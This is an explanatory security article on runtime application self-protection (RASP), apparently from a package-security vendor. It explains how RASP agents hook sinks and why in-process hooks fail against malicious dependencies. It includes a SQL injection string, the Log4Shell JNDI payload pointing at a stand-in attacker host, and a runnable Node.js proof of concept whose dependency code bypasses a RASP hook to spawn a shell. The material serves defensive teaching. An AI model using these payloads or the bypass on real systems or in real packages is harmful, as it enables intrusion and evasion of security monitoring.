# Runtime Application Self-Protection (RASP)

> RASP is security instrumentation inside an application's runtime that hooks sensitive operations and blocks attacks as the code executes.

Also known as: runtime protection, application shielding, in-app protection

Source: https://socket.dev/glossary/runtime-application-self-protection-rasp

Last updated: 2026-11-05

Runtime application self-protection (RASP), also called runtime protection, is security instrumentation inside an application's runtime that hooks sensitive operations such as SQL queries, file access, and process spawning, and blocks calls that look like exploitation. RASP inspects the final query or command before it executes, so it catches injection precisely. RASP shares the process with every dependency it protects.

RASP is good at one job: stopping attacker-controlled input from turning into a malicious query, command, or lookup inside code you trust. RASP is the wrong layer for supply chain malware. A [malicious package](https://socket.dev/glossary/malicious-package) either runs at install time, before any RASP agent has loaded, or runs inside the same process as the agent, where it can step around the hooks meant to watch it. Below we show both, including a sink-hook bypass we ran on Node.js 22 in five lines of dependency code.

## What is runtime application self-protection (RASP)?

Runtime application self-protection is a control that lives inside the application process rather than in front of it. NIST made it a formal control in [SP 800-53 Rev. 5](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final), published in September 2020, as enhancement SI-7(17). NIST's guidance says RASP "employs runtime instrumentation to detect and block the exploitation of software vulnerabilities."

The same guidance draws the line against perimeter tools. Guards and firewalls "can only detect and block attacks by using network information without contextual awareness." A RASP agent has the context: the function being called, the arguments, and the call stack. NIST also describes the two operating modes every product ships. Monitor mode logs what it would have blocked. Protection mode blocks the call, ends the session, or terminates the application.

The term has a second meaning on mobile. In iOS and Android apps, RASP usually means application shielding: root and jailbreak detection, anti-debugging, hook detection, and anti-tamper checks that protect the app from the device it runs on. OWASP groups these under [MASVS-RESILIENCE](https://github.com/OWASP/masvs/blob/master/Document/11-MASVS-RESILIENCE.md) and is blunt about their status: "The absence of these measures does not in itself constitute a vulnerability." This article is about server-side RASP. The mobile toolbox comes back later, because malware uses the same tricks.

## How does RASP work?

RASP works by wrapping sinks. A sink is a function that turns a string into an instruction: a SQL driver's `query`, a shell's `exec`, a file `open`, an outbound `connect`, a deserializer, a template renderer, a JNDI `lookup`. Every injection attack, from [SQL injection](https://socket.dev/glossary/sql-injection) to [remote code execution](https://socket.dev/glossary/remote-code-execution-rce), has to end at one of them.

A web application firewall (WAF) sits at the network edge. It sees request bytes and has to guess whether `x' OR '1'='1` will ever reach a query, which is why WAFs live on regexes and tuning. A RASP agent hooks the sink itself. It sees the finished query string, the stack that built it, and, in agents that track taint, which bytes came from the request.

> Figure 1. A WAF judges bytes at the edge. A RASP agent judges the finished call at the sink. Code inside the process can go around the hook.
>
> Where a WAF and a RASP agent sit relative to an HTTP request, application code, dependencies, and sinks

Figure 1, in text: an HTTP request carrying `name=x' OR '1'='1` first passes a WAF at the network edge, which sees only the request bytes. The request then enters a single OS process. Inside that process, application code builds a query string, a RASP agent that loaded first has wrapped the sinks (`db.query`, `exec`/`spawn`, `fs.open`, `connect`, `lookup`), and a malicious dependency loaded through `require` or `import` sits alongside both. Calls from application code pass through the hooks before reaching the runtime internals and the OS. The malicious dependency can call that lower layer directly, around the hooks, because everything in the process shares the same memory and privileges.

### How the agent gets into the process

The agent must load before the code it protects, so each managed runtime offers a startup hook for it. On the JVM, the agent is a JAR passed on the command line. The `java.lang.instrument` API lets its `premain` method register a class file transformer that rewrites the bytecode of JDBC drivers, `Runtime.exec`, and JNDI classes as they load.

```console
$ java -javaagent:/opt/rasp/agent.jar -jar app.jar
```

On Node.js, the agent is a module preloaded with `--require` (or set in `NODE_OPTIONS`). It replaces exported functions on built-in modules before any application code imports them. Here is the core of one, reduced to its idea:

```js
// Preloaded with: node --require ./rasp-agent.js app.js
const cp = require('node:child_process');
for (const name of ['exec', 'execSync', 'spawn', 'spawnSync', 'execFile', 'execFileSync']) {
  cp[name] = function (...args) {
    console.error(`[rasp] blocked child_process.${name}(${JSON.stringify(args[0])})`);
    throw new Error('RASP: command execution blocked');
  };
}
```

A real agent inspects arguments instead of blocking everything, but the mechanism is identical: a function reference is swapped for a wrapper. On .NET the agent attaches through the CLR profiling API at process start, and on Python it patches modules at import.

### What the hook decides

The decision at the sink is where RASP beats edge filtering. For SQL, a taint-aware agent compares the query's token structure with and without the request-supplied bytes. If user input stays inside one string literal, the query is fine. If user input closes the literal and adds operators, it is an injection, regardless of how it was encoded on the wire.

```text
input  : x' OR '1'='1
query  : SELECT * FROM users WHERE name = 'x' OR '1'='1'
tainted: x' OR '1'='1   -> spans a literal, OR, and a new literal
verdict: input changed query structure -> block
```

Log4Shell is the textbook RASP case. [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q), published December 10, 2021 with a CVSS score of 10.0, let an attacker-controlled string such as `${jndi:ldap://attacker/a}` trigger a JNDI lookup and remote class loading as soon as Log4j 2 logged it. Edge filters had to chase nested variants such as `${${lower:j}ndi:...}`. A hook on the JNDI lookup does not care how the string was spelled. It sees an outbound LDAP lookup initiated from inside a logging call and refuses it. That is virtual patching: buying time between disclosure and upgrade.

## RASP vs WAF vs IAST vs runtime permission models

RASP is one of several controls that act on a running application, and the differences come down to where each one sits. [Interactive application security testing (IAST)](https://socket.dev/glossary/interactive-application-security-testing-iast) uses the same in-process instrumentation as RASP, but in test environments and to report bugs, not to block attacks.

|  | WAF | RASP | IAST | Runtime permission model | Pre-install package analysis |
| --- | --- | --- | --- | --- | --- |
| Where it runs | Network edge, in front of the app | Inside the app process, at sinks | Inside the app process, in test | Inside the runtime, below user code | Before the package reaches disk |
| What it judges | Request bytes | Final call plus context | Data flow during tests | Capability use: fs, net, child process | Package code and metadata |
| Blocks in production | Yes | Yes | No | Yes, all-or-nothing per process | Yes, at install |
| Stops injection into your code | Partly, by pattern | Yes, with context | Finds it before release | Only if the sink capability is denied | No |
| Stops malicious dependency code | No | Rarely | No | Partly; Node.js says it is not a security boundary | Yes, if the package is flagged |
| Main cost | Tuning, false positives | Per-request overhead, per-language agents | Test coverage | Coarse; denies the app too | Needs a verdict before install |

Verdict: use RASP when you need to block exploitation of first-party code or a known-vulnerable library faster than you can patch it. Use a WAF for volumetric and protocol-level filtering across many apps. Use IAST to find the same bugs before release. Use a runtime permission model when a process genuinely never needs a capability, such as spawning shells. None of the in-process controls replaces stopping a malicious package before install.

## Can RASP stop a malicious dependency?

RASP rarely stops a malicious dependency, and the reasons are structural, not product gaps. RASP is built to judge input. A malicious dependency is not input. It is code the application has already decided to trust.

### Most supply chain malware runs before RASP loads

A RASP agent is configured in the production start command. Install scripts run much earlier, as child processes of the package manager, on a developer laptop or a CI runner. A [postinstall script](https://socket.dev/glossary/postinstall-scripts) does not even need to be JavaScript; it can be a shell command or a `binding.gyp` file that triggers a native build.

That timing is where the attacks are. In our coverage of [npm v12](https://socket.dev/blog/npm-12), we found that "almost every worm and credential stealer that hit the registry since late 2025 ran at install time, before any application code loaded." npm v12, generally available on July 8, 2026, made dependency install scripts opt-in. [pnpm 10 blocked lifecycle scripts by default](https://socket.dev/blog/pnpm-10-0-0-blocks-lifecycle-scripts-by-default) in January 2025. Both changes are correct, and both happen at a stage RASP never sees.

> Figure 2. RASP exists only in stages 4 and 5. Install-time malware has already finished by then.
>
> Lifecycle of a dependency from download to serving requests, showing when RASP is active

Figure 2, in text, as a table of the dependency lifecycle:

| Stage | What happens | RASP state |
| --- | --- | --- |
| 1. Resolve and download | Registry tarball lands on disk | Not loaded |
| 2. Install scripts run | postinstall or binding.gyp runs as a child of npm; almost every npm worm and credential stealer since late 2025 executed here | Not loaded |
| 3. Build and test in CI | Tests import the package with CI secrets in the environment | Not loaded |
| 4. Process starts | Agent loads, then the app and its dependencies | Active, but co-resident with any malicious code |
| 5. Serve requests | Hooks inspect sinks on every call | Active, but co-resident with any malicious code |

### Inside the process, a hook is just code

A RASP hook is a replaced function reference or rewritten bytecode in the same address space as everything else. Any code with the same privileges can call the layer below the hook, restore the original function, or patch the agent. Java's designers reached the same conclusion about in-process interception when they retired the Security Manager. [JEP 486](https://openjdk.org/jeps/486) states: "Truly malicious code has innumerable ways to bypass the Security Manager's interception of API calls." As of JDK 24, the Security Manager cannot be enabled at all.

The JVM even documents libraries doing what RASP agents do. [JEP 451](https://openjdk.org/jeps/451), which made the JVM warn about dynamically loaded agents starting in JDK 21, describes libraries that "use the Attach API to silently connect to the JVMs in which they run and load agents dynamically." A dependency that can load an agent can rewrite the same classes the RASP agent rewrote.

### Real malware already hooks the runtime

The [NCryptYo NuGet campaign](https://socket.dev/blog/four-malicious-nuget-packages-target-asp-net-developers-with-jit-hooking-and-credential) shows the RASP toolbox turned around. Our researchers found four malicious packages published between August 12 and 21, 2024, with a little over 4,500 downloads. NCryptYo, a [typosquat](https://socket.dev/glossary/typosquatting) of the legitimate NCrypto library, runs a static constructor the moment its assembly loads. That constructor overwrites the .NET JIT compiler's `compileMethod` vtable entry with platform-specific shellcode (39 bytes on x64), so encrypted method bodies decrypt only as they compile. It checks `Debugger.IsAttached` and verifies its own signature to detect tampering.

Runtime hooks, anti-debugging, and anti-tamper are the same techniques mobile RASP products sell. OWASP's MASVS warns about exactly this: "Resilience techniques can also be abused by malicious software." A JIT hook installed by a dependency sits below any agent that instruments managed code.

### Malicious behavior often looks like application behavior

The companion packages in the same campaign show the third problem. DOMOAuth2\_ exfiltrated ASP.NET Identity data, including user accounts, roles, and permission mappings, through HTTP POST requests that the application itself triggered by calling the package's API. Nothing tainted reached a sink. The outbound HTTP call was the feature. A telemetry SDK and a credential stealer make the same system calls; the difference is intent, and intent lives in the package's code, not in the request.

## A sink-hook bypass you can run

We ran the following bypass on Node.js 22.23.4. The agent above is preloaded. The application tries to run a command and is blocked. Then a dependency runs one anyway, by constructing `ChildProcess` directly and calling the internal `spawn` method that the public helpers wrap.

```js
// Code inside a dependency, running in the same process as the agent
const { ChildProcess } = require('node:child_process');
const child = new ChildProcess();
child.spawn({ file: '/bin/sh', args: ['/bin/sh', '-c', 'id -un > /tmp/pwned && echo ran'],
              stdio: ['pipe', 'inherit', 'inherit'] });
```

```js
const cp = require('node:child_process');
try { cp.execSync('id -un'); } catch (e) { console.log('app:', e.message); }
require('./evil-dep.js');
```

```console
$ node --require ./rasp-agent.js app.js
[rasp] blocked child_process.execSync("id -un")
app: RASP: command execution blocked
ran
$ cat /tmp/pwned
root
```

Production agents usually hook deeper than these six exported functions, and this particular path is easy to wrap too. That is the point: every hook in JavaScript has a layer under it that is also reachable from JavaScript, and the dependency gets as many attempts as it likes.

Enforcement below user code is stronger. The same dependency under Node.js's [permission model](https://nodejs.org/api/permissions.html), with no agent at all, is stopped in C++:

```console
$ node --permission --allow-fs-read='*' app.js
app: Access to this API has been restricted. Use --allow-child-process to manage permissions.
Error: Access to this API has been restricted. Use --allow-child-process to manage permissions.
    at ChildProcess.spawn (node:internal/child_process:395:28)
    at Object.<anonymous> (/home/claude/demo2/evil-dep.js:4:7)
    ...
    at Object.<anonymous> (/home/claude/demo2/app.js:3:1) {
  code: 'ERR_ACCESS_DENIED',
  permission: 'ChildProcess',
  resource: '/bin/sh'
}
```

The Node.js documentation still refuses to call that a boundary: "This feature does not protect against malicious code." As of November 2026 the docs mark the permission model Stable and describe it as a seat belt for trusted code. The permission model is also per process, so it denies the capability to the application and every dependency at once.

## Where RASP earns its place, and what it costs

RASP is a reasonable last line of defense against exploitation of code you trust. It shortens the window on bugs like Log4Shell, it gives context-rich telemetry on real attack attempts, and in monitor mode it is a cheap way to learn which sinks attackers actually probe.

The costs are real and mostly operational:

- **Latency on the hot path.** Every hooked call pays for inspection, and the most-hooked calls (queries, file reads, outbound requests) are the hottest ones. Benchmark your own workload; vendor numbers do not transfer.
- **False positives become outages.** In protection mode, a misjudged query is a failed request. That is why every product ships a monitor mode, and why teams run it before turning on blocking.
- **Fail-open or fail-closed.** When the agent crashes or times out, you choose between an unprotected app and an unavailable one.
- **The agent is a privileged dependency.** It runs first, rewrites your code, and updates on its vendor's schedule. It is supply chain risk you are choosing to add.
- **Coverage follows the runtime.** RASP needs a hookable loader: the JVM, the CLR, Node.js, Python, Ruby, PHP. A statically compiled Go or Rust binary has no class loader to intercept, so instrumentation has to be compiled in or pushed down to the kernel.

For dependencies, the decision point is earlier. We analyze what a package actually contains before it is installed and flag capabilities such as [Shell access](https://socket.dev/alerts/shellAccess) and [Network access](https://socket.dev/alerts/networkAccess) in its code, independent of what its metadata claims. [Socket Firewall](https://socket.dev/blog/introducing-socket-firewall) puts that verdict in the install path. It runs an ephemeral HTTP proxy for the package manager and checks each package, including transitive ones, with the Socket API before it is fetched. That is the [package firewall](https://socket.dev/glossary/package-firewall) model. It does not help with a zero-day in your own code, which is the job RASP is built for, and it cannot block a package nobody has flagged yet.

## The open problem: there is no boundary inside a process

Every in-process defense runs into the same wall. Java spent more than 25 years on the Security Manager and disabled it in JDK 24. Node.js ships a permission model and says plainly it does not stop malicious code. RASP inherits the same limit, because a hook can only constrain code that agrees to go through it.

Runtimes do not isolate one package from another. A logging library and a payment SDK in the same process have identical access to memory, credentials, and syscalls. Until runtimes offer per-package capability isolation, real containment for untrusted code means a separate process, container, or VM, which is what a [sandbox environment](https://socket.dev/glossary/sandbox-environment) provides. For third-party code, that leaves one reliable moment to stop a malicious package: before it is on disk.
